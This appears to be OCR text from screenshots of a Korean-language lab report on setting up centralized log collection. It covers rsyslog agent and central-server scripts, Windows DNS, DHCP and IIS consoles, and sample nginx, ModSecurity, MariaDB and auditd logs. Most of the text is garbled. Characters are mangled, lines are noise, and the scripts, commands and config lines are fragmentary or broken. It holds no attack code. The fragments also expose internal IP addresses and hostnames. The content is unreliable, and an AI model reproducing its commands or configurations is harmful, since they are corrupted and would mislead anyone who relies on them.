LI B IP+ # + + & 4

(rsync)

LK B B B B : )
L I T N I DEG3+ # # + % & & & # & + + & 4 + & |
rootd : |
EED

"'1: then

mysgl -u
LI B BN BT B

Dk E d F e 4 4 DOMN
ip link set dev douwn

- db01, db02 A AJEHE WS
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#!/binsbash

DNS_MASTER_IF="
DOMATIN=" "
DNS_BACKUP_DIR="
DATE=
EACKUP_FILE="

AR NN S S 2R 2 N A DR N DN N N DN N N A B A

A I I AN I I N N I DR I N N 2 N I I Y I TR Y I
Jsusrsshinsip link set up

2 oF b TR O 4 54
= leep

Hob b b b kb Fd (PINEIE 4+ 44
if ping -c -H »osdevsnull 2x&L; then
echo "

mkdir -p
echo "

Bodig # # ¢+ ¢+ + & +
dig @

i_l: [ —S ] ] ];

echo
else

echo

rm -f

fi
else

echo
fi

echo
echo
echo
RN B R R R B R N R I B N
Jsusrsshinsip link set down

#

#

#
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“# ls -lha

root root
root root
root root
root root
2 root root
root root
root root )
root root 810 11 116 . gl_history
root root 16! 22 2824 .profile
root root ' :
& root root 4. 6K
root root 1.4K 1: - c_hackup.sh
root root 9. 8K 1. info
root root g 11 66:85 ,Hauthority

| el N W [ A R R

extd defaults

rootd 2 odf -Th

Tupe  Size  Used Avai se® Mounted aon
tmpfs 4 1.6H : TN

bl
» UUID=
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. aly
Creation Time
d Le

45 GBI
Raid D

TD%al
Fersis

Thu Aug 1
clean

Consistency Folicy

Mame
JUTD
Events

Humber  Major

[ o

: UMEMOHN group default glen e

- o A Al interface down AHEH 201
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% DHCP — 0O
File Action View Help
o9 | #mE L= HEL
@ [EHCP Contents of DHCP Server Actions
e j hfml_:ﬂﬂguﬂ _:j Server Opticns |Pyd
v b - 7] Scope [10.30.96.0] 10.30.96.0/20 More Acti
| Server || o are 1ons
s 15 Scope | Scope [10.30.160.0] 10.30.160.0/19
o= SCOEE ] Scope [10.30.192.0] 10.30.192.0/19
s [ Scope ?I Scope [10.40.32.0] 10.40.32.0/19
» [ Scope || L Scope [10.60.0.0] 10.60.0.0/19 B |
, [ Scope || [ Policies is local serv
3 Palicie|| ! Filters
» ¥ Filters
5 & IPvé nd features
servers to mana
N I rver group

(W

Connect this server to clou

LEARN MORE

. DHCP &1
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File Action View Help

==
& DNS

R X E e

v o WIN-UDN433U012D

L3

| Forward Lockup Zons

| mg.com

| Reverse Lookup Zone
| Trust Points
| Conditional Forwarde

Microsoft Windows [Version 10.0.261680.1742]

mg.com Properties

HIOFAECI Al BT A 20

General Start of Authority (SOA)
Mame Servers WINS Zone Transfers

& zone transfer sends a copy of the zone to the servers that request a
copy.
Allow zone transfers:

(") To any server

() Only to servers listed on the Name Servers tab

© Only to the following servers

IP Address Server FQDM
10.30.96.20 <Attempting to resolve... >
| Edit
To specify secondary servers to be notified of zane Notify
updates, dick Motify.
QK Cancel Apply Help

- DNS transfer & &

n-ulnd3%ullzd., h..
nd3%uli2d.
5210

52,15

2.10

02,20

82,25

£0.20

1210
1210

121

1212

52,13

£.13

01

£0.13

6015

(c) Microsoft Corporation. All rights reserved.

C:\Users\Admin>nslookup mg.com

Server:

localhost

Address: 127.8.8.1

Name:

mg . com

C:\Users\Admin>nslookup bsmrl.mg.com

Server:

localhost

Address: 127.0.8.1

Name:

bsmrl.mg.com

Address: 18.U0.32.10

C:\Users\Admin>|

- dns #cl 2
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% DNS Manager = O x
File Action View Help
& F XE o=z HFE 8 86
g [ENS Mame Type Data
v i W'NF'UDN‘ETUDLED i B fsame as parent folder) Start of Authority (SOA)  [16], win-u0n439u012d, h...
e ‘UFI anes E—l(sameasparentfulder] Mame Server (M5) win-u0nd39uli2d.
= Mg.com Elbshd1 Host (4) 10.30.192.10
| Reverse Lockup Zones u
. E—lbshdl Host (A) 10.30.192.15
| Trust Points [—I
| Conditional Forwarders | bsmr Host (A) 10.4032.10
E—lbsmrl Host (A) 10.30.192.20
E—lbsms Host (A) 10.30.192.25
E—lbsws Host (A) 10.30.160.20
E—lpnj_i Host (4] 10.30.112.10
E—lpnms Haost (A) 10.30.112.10
E—lpsdlﬂ Host (A) 10.30.112.11
E—lpsdbl Host (4] 10.30.112.12
E—Ipsps‘l Host (A) 10.30.192.13
E—lpspsl Haost (A) 10.30.96,13
[—l rbws Host (A) 10.60.1.101
E—lrwps Host (4] 10.30.160.13
[—lrwws Host (4] 10.30.160.15
- DNS & &gt
(5] | ServerManager. S MH BH x4
O <« (@] 0 Not Secure  http://10.30.192.25:5000 B % W

~~ Server Manager

- s &

ES

™A= AIGHA
==
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>

= Server Manager = O

'qﬂ Internet Information Services (115) Manager

— & » € » WIN-UDN430UDIZD » Sites » BlueManagement »

m File  View Help

i Lc Connections Bl M tH Actions
- e ueivianagemen ome
[ [ Al |8 9 9 2 Explore
= &g Start Page ) == Edit Pe
?:- D v €3 WIN-UON430U012D (WIN-Uot | 1 " ¥ 6o - FashowAl | Groupby: Are d'! Edit Si
e= Dl -2} Bpplication Pools 15 ~ -
P — — indin
ii Fil e ﬂ Sites — :
5 /& BlueManagement i ] 'ﬁ' D =
® 13 Authentic.. Compression  Default Directory  Error Pages Failed View 4
Document  Browsing Request Tra... View V
@ H _q% &J ﬂ'n"'. ‘J‘h—%ﬂl Manage W
Handler HTTP HTTP Legging  MIME Types  Modules & Restart
Mappings Redirect Respon... P Start
. ;Q &=t B Stop
i‘,’ = =
_ Brows
Outr._lut R_equ_est S5L Settings B
Caching Filtering
Advan
Managernent ~

Config

m Failed
- : - Limits.
- L HSTS.

- s &%

B Registry Editor
File Edit View Favorites Help

Computer\HKEY_LOCAL_MACHIME\SYSTEMN CurrentControlSet' Services\W32Time\ TimeProviders\MNtpServer

’ VMICVSS | E i DWORD (32-bit) Value Ft Data
VMMerm) (value not set)
? vmmoust Value name: 0x00000007 (1)
:» vmrawds  propied )
L WMTools
y vmuchm Value data: Base 000000010 (16)
! VIIVSS © Hexadecimal 00000007 e (30
wmwefifu () Decimal CxD0DODDED (128)
wmxnet3r 00000004 (4]
>: volmgr Cancel iz ZasystemrootZaisystem32w32time.d|l
.7 volmgn 000000001 (1)
5> 77 volsnap $4|EventlogFlags  REG_DWORD 000000000 (1)
s =7 volume 4| InputProvider REG_DWORD 000000000 (D)
» wpCi _?5'9'] RequireSecureTi.. REG_DWORD Ox00000000 (09
>; wsmraid
- NTP Jls &43t
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N
[>
m
o
>
0¥
_t‘_l
[>
e
[l
Ho
=)
i

"

(=]
-

E] — Home X | + = — O

O <« C © http://localhost:8888/tree? B < ® 2

— Jupyter

File Wiew Settings Help

m Files | © Running

Select items to perform actions on them. b = New X Upload
m/

[] MName - Last Modified

(5 Jupyter Notebook Server Properties (Local Computer)

General Triggers Actions Conditions Settings History (disabled)

When you create a task, you must specify the action that will cccur when your task starts,

Acticn Details
Start a program ChUsers\Admint Desktoptjupyterrun_jupyter.bat

- A E bat IHY &
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= | Manage

|
“ Home Share View Application Tools

N .:F”E Edit Format View Help

avigi
pan [@echo off

cd /d C:\Users’Admin’\Desktop’\jupyter

py -m notebook --no-browser

- ZIIH bat &I+

EX Administrater: Command Prompt

Microsoft Windows [Version 18.6.26188.1742]
( Microsoft Corporation. All rights reserved.

C:\Windows\5y 2»notebook --version
‘notebook’ is not recognized as an internal or external command,
operable program or batch file.

Windows'Sy r -m notebook --wversion

- FIUHL-ES 4X

BE Administrator: Command Prompt

.1742]
reserved.

- ol &Xl
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get

-

BT N

Admin Properties
1

tistratol Remate control Remote Desktop Services Profile
thAcco.. General Member Of Profile Environment

iUtility., &.‘ Admin
& |

[} X

Dial4n
Sessions

Full name:

Description:

|| User must change password at next logon
[ ] User cannaot change password

[ Pazsword never expires
[] Account is disabled

Accourt is locked out

- adminHl & AtS
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|

get

ok .

ne

ini I ?
adrmin Administrator Properties 7 ot
Administrato) Remote control Remote Desktop Services Profile Dial4n
Jefaulthcco.. General Member Cf Prafile Environment Sessions
Juest

WDAGUtility. &j Admiristrator
L

Full name: |

Description: Built4in account for administering the
computer/domain

[] User must change password at next logon
[ Uzer canneot change password

[ Password never expires
B Account is disabled

Accourt is locked out

Cancel Apply Help

- el XA E v dat
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1
=
=
0
Hu
IJ

2 AHlA/2 21 m =3 &4l ZHH L

Rocky-Ubunt & & 0=, MI&

=] nginx / httpd access.log imfile
u I
Rocky-Ubunt
WAF mod_security modsec_audit.log imfile 2 22 Xl OHE
u
Rocky-Ubunt
DB mariadb server_audit.log imfile Fcl L DB OIBIE
u
Rocky-Ubunt & Ald-F=e It
Al AE auditd audit.log imfile
u M=
Rocky-Ubunt
DNS named named.log imfile SHe 2o 01
u
Rocky-Ubunt I}
FTP vsftpd xferlog / vsftpd.log imfile
u gz -U2gs
SNMP snmptrapd syslog 2% syslog Rocky | HEH EE =4l
DROP-ALERT
IPS Suricata (pfSense) eve.json / filter.log syslog-ng FreeBSD olie
IDS Snort3 alert
X =8 YA 2 imfile 73 + syslog 1Z. Ubuntu= snmptrapd 22! 243 MY 2Z SNMP &= X 2

severity J| &

RFC 5424 syslog 8 H|(0 Emergency ~ 7 Debug)E 1 £ AtZ8tCt.

2 &40 AJYE

setup_agent.sh 2 8F A (Rocky-Ubuntu)

Qs

M

OS It& oAl - 2 &2 USHE - IHIX EX-24 €8 —

rsyslog 8 & & & (TCP 514)

TCP 514 =41 HO|(JO|= 514 84 Al =4 Hel) - sS4 IPE CI&EEel
setup_central.sh C&C ==&l A

=l ME

o SFIUS B M bak O2 MOIGD, A= &

O

el gA0ILh

0f0
o

o CIYABITE= M AHH RSYSLOG FileFormat 2 & Ct.

o 2 MHH 2 — rsyslog(TCP 514) — C&C A1 /var/log/remote/<& Al IP>/<2 18 T > — 1A

— DB AlH & TH
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AJEE 4 21

setup_agent.sh &! & (Rocky)

[root@localhost opt]# ./setup_agent.sh

# MH 24 /S &3 (Z X & 0S: Rocky Linux 9.
8 (Blue Onyx))

[ ®& 23] /etc/rsyslog.d/remote.conf
O & C&C : 172.16.14.88
=3 o
/var/log/named/query. log
/var/log/vsftpd.log
/var/log/xferlog
/var/log/mariadb/server_audit.log
/var/log/audit/audit. log
/var/log/nginx/modsec_audit.log
/var/log/nginx/vulnmart_access.log
H& 4 : named vsftpd xferlog snmptrapd mariadb-audit aud
1t modsecurity vulnmart_access

rsyslog : active

A& U 72
48 (17 X

R ICE

DNS # 2] (named)

FTP (vsftpd & M + xferlog)
SNMP E & (snmptrapd)
MariaDB Audit

Linux Audit (auditd)

2 Access

ModSecurity WAF

==
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M s N g | (:‘:: X S = |
/ "135", E A & a)

DNS & 2l (named)

FTP (vsftpd # M + xferlog)

SNMP £ & - Ubuntu 0ol X & (SNMP_EXCLUDED.txt & 1 )
MariaDB Audit

Linux Audit (auditd)

2  Access

ModSecurity WAF

z 2

[=]

-Ubuntu &3 Al

fon

124 (SNMP & = 0| ZAl)
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Iz
HO
S
=)

bl

[root@localhost opt]# ./setup_central.sh

D e
# C&C =21 += M My 43 (Z X & 0S: Rocky
AT

&~ A 0 0| & = Mg Mda. (

X o 7 °

E0 oisf o = of ®LU L, M3

DNS & 2 (named)

FTP (vsftpd / xTerlog)

SNMP £ @ (snmptrapd)

MariaDB Audit

Linux Audit (auditd)

#  Access

ModSecurity WAF

pfSense filterlog / Suricata eve (5140)
58

i a

o
A2

—
43
‘ |:|m
=
oA
—_

NN oA >

: 514/tcp (M H =1 ), 5140/tcp (pfSense-

: /var/log/remote/<% 4 M ¥ IP>/<programna

: 127.0.0.1 / 172.16.14.88 = A & H o (
of  : RSYSLOG_FileFormat (IS0-8601)

FALZ S UM? (y/n): y

>

- —

o;
oF

HHHH SR HH AR R HHF PR SR R R R R R R BRI  HE HH
# C&C 44 Ny 8% o=
L e e e L L L L S o o N 8 B L e i e et e
[z = =eo] ss -lnt | grep -E '514|5140"
[+ 4 =2 ] 1s -R /var/log/remote/

L

S B I R = E
X A.I

Al

A

A

Al

/var/log/remote/<% 41 A
/var/log/remote/< A
/var/log/remote/< A
/var/log/remote/<& 4 M
/var/log/remote/<& 4 A

IP>/named. log
IP>/vsftpd.log
IP>/xferlog.log
IP=/snmptrapd. log
IP>/mariadb-audit.log
IP=/audit.log
IP>/<At 0] E ¥ >_access.log
IP>/modsecurity.log
IP>/filterlog. log
IP>/suricata-eve.log

EETEEEEE R E/

Y

(e & 1 ¥ ] /var/backups/log-setup (2 2 ¢
etc_rsyslog.d_central.conf.bak.20260814140734
etc _rsyslog.conf.bak.20260814140734
etc_chrony.conf.bak.20260814140733
etc_rsyslog.conf.bak.20260812093612

etc chrony.conf.bak.20260812093612

rsyslog & & It
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ﬁ
module( load="imtcp

input(type="1imtcp 514" ruleset="remoteServer

input(type="1imtcg 5140" ruleset="remoteRaw

template(name="RemotelLogTemplate" type="string
string="/var/log/remote/%fromhost- ip%

- letc/rsyslog.d/central.conf & agent & &3 L&

[root@localhost ~]# rsyslogd -N1

rsyslogd: version 8.2510.0-2.el9, config validation run

(level 1), master config /etc/rsyslog.conf

rsyslogd: End of config validation run. Bye.

[root@localhost ~]# ss -tlnp | grep 514

LISTEN © 25 0.0.0.0:514 0.0.0.0:*
users:(("rsyslogd",p1d=248503,fd=6))

LISTEN © 25 0.0.0.0:5140 0.0.0.0:*
users:(("rsyslogd",p1d=248503,fd=4))

LISTEN © 25 514
users:(("rsyslogd",pid=248503,fd=7))

LISTEN © 25 :5140
users:(("rsyslogd",p1d=248503,fd=5))

-rsyslogd -N1 28 25 Z 1, ss-tinp | grep 514 =& ILE &H0I

[root@localhost opt]# ls /var/backups/log-setup/
etc_chrony.conf.bak.20260812093612

etc_chrony.conf.bak.20260814140733
etc_rsyslog.conf.bak.20260812093612
etc_rsyslog.conf.bak.20260814140734

etc rsyslog.d central.conf.bak.20260814140734
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ost remote]# ls -R

Fle.b. B 11
audit.log mariadb-audit.log

.l.l"_. BB .13:
firewall.log suricata.log

audit.log mo

- Ivar/log/remote/ 41 IPE Cl2lH2l £ 21 0t 22l M& Al
20538 4% 5%

2l Access 21

2l Access 21 — 22 AH

100 - - [14/Aug/2026:17:31:02 +0900] "POST /login.php HTTP/1.1" 302 5
- V:140.0) Geck0/20100101 Firefox/140.0" "ccc68cdS*xrkxkkx"

.'_IH_I - - [14/Aug/2026:17:31:03 +0900] "GET /search.php HTTP/1.1" 200 18
rv:140.0) Gecko/20100101 Firefox/140.0" "cccbBcd5**x**rkx"

ModSecurity =1

ModSecurity 21 — C&C =4
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t modsecurity:
t modsecurity:

t mod:ecur1ti:

: s -1og1n php
: Accept-Language:
Accept Encoding: gz
y SESSID= rhc1zgﬁcef1c1?;?uz~c
ity: Accept text/html,application/xhtml+>

Referer:
5 Urigin
) (Windows NT

_ontent T;pe application/x-www-form-
secure-Requ

T.conf"] [line "71 5 5
verity "4"] [ver "OWASP_C ] [maturity "8"] [accurac)
q ack- protoco]"] [tag "paranoi
[tag "capec/ / /272" ] [tag “PII,b 5 10"] [ho»tname "10.60.08.20"] [uri "/login.p
937379"] [ref "oB, 10931 ,18"]

- Ivar/log/remote/ St 0l =41E S 21

MariaDB Audit =1

MariaDB Audit 2 1 — C&C =4I

2026-08- 14T18'[Jz 15+09:00 1 host mariadb-audit: 20260814 18:02:
ulnmart, 16 ,120,2021, WRITE vulnmart,action_logs,
2026-08-14T18:02:15+09:00 localhost mariadb-audit: 20260814 18:02:
ulnmart,10.60.0.20,120,2021,QUERY,vulnmart, ' INSERT INTO action log:
sult,user id,username, user rc:le_,5e5510n_flnger‘l:arint,client_ip,user‘

2,7,72,2,2,7,2,7)",
z[uu [!E: 14T18'[J£ 15+09 (8]8)]
ulnmart,10.60.0.20,120,0, [JI__OI‘Jr.IEi T vulnmart.,(

- Ivar/log/remote/ G210l =&IE S 21

Linux Audit £
Linux Audit 21 — C&C =4I
1 stname=? 2 9.60.0. 106 1::a-rm1'r"|=1_—'3r res 55 ' #035

4294967295 Jubj-\erne1 mhg— Dp dEh
20 lport=22 exe="/usr/libexec/opens

UID—”FDDt” AUID—”UHE t” U_ ) nd"

g=' ap 10g1n acct-”nun#
=d' #035UID="root" AUID="unset"
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Ubuntu snmptrapd E& 0| &

Ubuntu 24.042| snmptrapd = A3 243 2A10/0 ExecStart Jt -LOw(warning 0l 2h& X & & Of
Eg 24 JIF0l| syslog 0l &KXl Z=Ct. ExecStart =& Al MBIADJE DS A TSI M AMES 2
1, Ubuntu IOl M E 0l M= SNMP &5 XXl E Ml 2l 6t CH.

=
snmptrapd J|1S &3

root@hak:~# systemctl cat snmptrapd

[Unit]
Description=Simple Network Management Protocol (SNMP) Trap Daemon.

[Service]

Type=notify

User=Debian-snmp

ExecStart=/usr/sbin/snmptrapd -LOw -f udp:162 udpb6:162
ExecReload=/bin/kill -HUP $MAINPID

- systemctl cat snmptrapd 2| ExecStart -LOw =0l

Ubuntu AppArmor 21 82 Xttt
AppArmor J} rsyslogd 2 21 Tt AI|IE XHGHN imfile =& 0] & I dt 12 audit AVC 2 10t CHe

2+ A 5t U Ct. /etc/apparmor.d/local/usr.sbin.rsyslogd @ Het0IE 2 &1J| A &2 FIt6t0d off Z 5 RUALH.

Audit
Otel= audit 271 = otLIS WA 2=, O|HE MA =0l et =24 7A0] ¢

ol
QJ
>
O

audit N2 AIAE HEO0A Dlcl 2ol = H= O0IHE 7 H= #2801 MM type S2

2322 &M,
type CRYPTO_KEY_USER 2AFOIHIE MO S8 (253 MA, A AIR)
msg audit(1785731341.248:288): Unix Et ABIET 2 7 O|HE AH ID
pid 2419 OIHIE SMAIZ2I ZZ2AA D
uid 0 S ZZNASE HMS A=A HEID
auid 0 AuditUser ID: == Al &= HEID
ses 3 MEXIF G2 1R 200 HE 8IS

subj kernel SELinux ZHEIAE (

=
2
im
U
0y
>
He
Pal
o
o
1
g
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[=N¢]

o

msg="...."
op
kind
fp
direction
cipher
ksize
mac
pfs
spid
suid
rport
laddr
Iport
exe
hostname
addr
terminal
res
UID/AUID/SUID
Timestamp

Hostname

Process / Service

PID

Message Body

op=start ...'
destroy

session

from-client / from-server
aes256-ctr

256

hmac-sha2-256
curve25519-sha256
2424

0

15618

172.16.18.70(A H IP)
22
"/usr/libexec/openssh/sshd-session”
?

172.16.18.1

success
"root"
2026-08-03T12:23:13.749888+09:00

localhost

systemd[1]: / dnf[410028]: /
mariadb-prepare-db-dir[381597]:

1, 410028, 381597

Started MariaDB 10.5 database server. /

Starting dnf makecache...
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